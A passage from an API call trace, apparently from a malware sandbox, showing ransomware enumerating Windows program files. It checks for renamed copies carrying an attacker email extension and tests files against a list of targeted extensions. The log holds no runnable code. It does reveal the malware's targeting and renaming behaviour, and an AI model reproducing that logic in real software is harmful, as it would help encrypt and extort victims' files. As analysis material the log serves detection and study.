shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0092.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.673] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.673] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2592) returned 1 [0092.673] CloseHandle (hObject=0x35c) returned 1 [0092.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0092.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.674] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.674] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2462) returned 1 [0092.674] CloseHandle (hObject=0x35c) returned 1 [0092.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0092.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.676] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.677] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2436) returned 1 [0092.677] CloseHandle (hObject=0x35c) returned 1 [0092.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0092.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.678] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.678] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2556) returned 1 [0092.679] CloseHandle (hObject=0x35c) returned 1 [0092.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0092.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.679] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.680] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2514) returned 1 [0092.680] CloseHandle (hObject=0x35c) returned 1 [0092.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0092.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.680] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.681] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2616) returned 1 [0092.681] CloseHandle (hObject=0x35c) returned 1 [0092.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0092.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.681] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.681] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2618) returned 1 [0092.681] CloseHandle (hObject=0x35c) returned 1 [0092.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0092.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.682] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.683] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2578) returned 1 [0092.683] CloseHandle (hObject=0x35c) returned 1 [0092.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0092.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.684] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.684] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3024) returned 1 [0092.684] CloseHandle (hObject=0x35c) returned 1 [0092.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0092.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.685] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.685] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2658) returned 1 [0092.685] CloseHandle (hObject=0x35c) returned 1 [0092.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0092.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.686] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.686] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2628) returned 1 [0092.686] CloseHandle (hObject=0x35c) returned 1 [0092.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0092.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.687] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.739] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2532) returned 1 [0092.739] CloseHandle (hObject=0x35c) returned 1 [0092.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0092.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.740] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.740] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2518) returned 1 [0092.740] CloseHandle (hObject=0x35c) returned 1 [0092.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0092.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.741] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.741] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2652) returned 1 [0092.741] CloseHandle (hObject=0x35c) returned 1 [0092.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0092.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.742] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.742] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2570) returned 1 [0092.743] CloseHandle (hObject=0x35c) returned 1 [0092.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0092.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.743] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0093.498] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=2526) returned 1 [0093.498] CloseHandle (hObject=0x350) returned 1 [0093.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0093.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.499] Sleep (dwMilliseconds=0x64) [0094.099] lstrcmpiW (lpString1=".inc", lpString2=".kr") returned -1 [0094.100] lstrlenW (lpString="adojavas.inc") returned 12 [0094.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.101] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=14856) returned 1 [0094.101] CloseHandle (hObject=0x300) returned 1 [0094.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0094.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.101] lstrlenW (lpString=".doc") returned 4 [0094.101] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.101] lstrlenW (lpString=".docx") returned 5 [0094.101] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.101] lstrlenW (lpString=".pdf") returned 4 [0094.102] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString=".xls") returned 4 [0094.102] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString=".xlsx") returned 5 [0094.102] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.102] lstrlenW (lpString=".ppt") returned 4 [0094.102] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString=".zip") returned 4 [0094.102] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString=".rar") returned 4 [0094.102] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString=".bz2") returned 4 [0094.102] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.102] lstrlenW (lpString=".7z") returned 3 [0094.102] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString=".dbf") returned 4 [0094.102] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString=".1cd") returned 4 [0094.102] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString=".jpg") returned 4 [0094.102] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0094.102] lstrlenW (lpString=".doc") returned 4 [0094.102] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.102] lstrlenW (lpString=".docx") returned 5 [0094.102] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.102] lstrlenW (lpString=".pdf") returned 4 [0094.103] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.103] lstrlenW (lpString=".xls") returned 4 